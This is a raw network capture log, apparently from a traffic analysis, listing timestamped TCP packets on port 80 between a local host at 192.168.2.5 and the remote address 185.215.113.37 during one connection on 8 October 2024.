Oct 8, 2024 22:32:03.324402094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.324412107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.324430943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.324467897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.324486971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.324493885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.324506044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.324516058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.324538946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.324542999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.324553967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.324605942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.324863911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.324915886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.324951887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.324959993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.324959993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.324986935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.325001001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.325023890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.325072050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.325072050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.325078011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.325114965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.325149059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.325164080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.325164080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.325185061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.325208902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.325218916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.325241089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.325256109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.325282097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.325290918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.325330019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.325339079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.325339079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.325417995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.325792074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.325834990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.325845003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.325881004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.325916052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.325921059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.325936079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.325953007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.325984001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.325989008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.326023102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.326031923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.326034069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.326102972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.326360941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.326395988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.326412916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.326436043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.326471090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.326484919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.326484919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.326504946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.326543093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.326545954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.326582909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.326582909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.326611996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.326692104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.329260111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.329315901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.329364061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.329413891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.329413891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.329413891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.329489946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.329524994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.329536915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.329565048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.329600096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.329617977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.329617977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.329651117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.329699993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.329751968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.329757929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.329782963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.329799891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.329818964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.329826117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.329891920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.370733023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.370801926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.370840073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.370851040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.370851040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.370874882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.370910883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.370945930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.370949984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.370987892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.371001959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.371001959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.371083021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.371176004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.371211052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.371247053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.371257067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.371257067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.371282101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.371325970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.371325970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.371334076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.371370077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.371414900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.371414900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.371432066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.371445894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.371471882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.371481895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.371512890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.371524096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.371551991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.371551991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.371723890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.371757984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.371793032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.371800900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.371800900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.371829033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.371861935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.371870995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.371870995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.371917963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.371952057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.371962070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.371963024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.371988058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.372020960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.372031927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.372031927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.372056007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.372090101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.372100115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.372100115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.372126102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.372167110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.372173071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.372173071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.372176886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.372214079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.372226000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.372226000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.372250080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.372284889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.372292995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.372292995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.372318029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.372355938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.372358084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.372358084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.372929096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.413172007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.413217068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.413254023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.413280010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.413290977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.413301945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.413301945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.413348913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.413383961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.413393974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.413393974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.413419008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.413454056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.413460970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.413475990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.413510084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.413513899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.413546085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.413597107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.413597107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.413600922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.413635969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.413674116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.413690090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.413690090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.413707018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.413734913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.413743019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.413778067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.413795948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.413795948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.413813114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.413831949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.413852930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.413860083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.413894892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.413927078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.413930893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.413950920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.413965940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414000034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414000988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414036036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414043903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414043903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414086103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414123058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414134026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414134026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414158106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414194107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414206028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414206028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414227962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414263010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414264917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414298058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414299011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414333105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414340019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414340019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414367914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414405107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414422035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414422989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414438963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414474010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414477110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414489985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414513111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414529085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414571047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414576054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414606094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414642096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414659977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414659977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414674997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414695978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414710999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414747000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414752960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414783955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414796114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414796114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414819956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414855957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414872885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414875031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414890051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414911032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414927006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414942026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.414963007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.414997101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415009022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415009022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415050030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415070057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415085077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415107012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415121078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415143967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415157080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415174961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415194988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415213108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415245056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415278912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415314913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415349007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415374041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415374041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415397882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415409088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415460110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415494919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415496111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415524960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415533066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415543079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415570021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415605068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415617943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415617943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415684938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415720940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415741920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415741920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415757895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415767908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415793896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415813923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415827990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415868044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.415875912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415875912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.415980101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.419590950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.419713020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.419759989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.420017958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.455183983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.455209017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.455229044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.455240965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.455251932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.455264091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.455270052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.455281973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.455293894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.455461025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.455461025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.461437941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.461510897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.461518049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.461570978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.461595058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.461626053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.461628914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.461661100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.461692095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.461697102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.461738110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.461755037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.461755037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.461791039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.461796045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.461826086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.461846113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.461880922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.461890936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:03.461918116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:03.461951017 CEST	49704	80	192.168.2.5	185.215.113.37
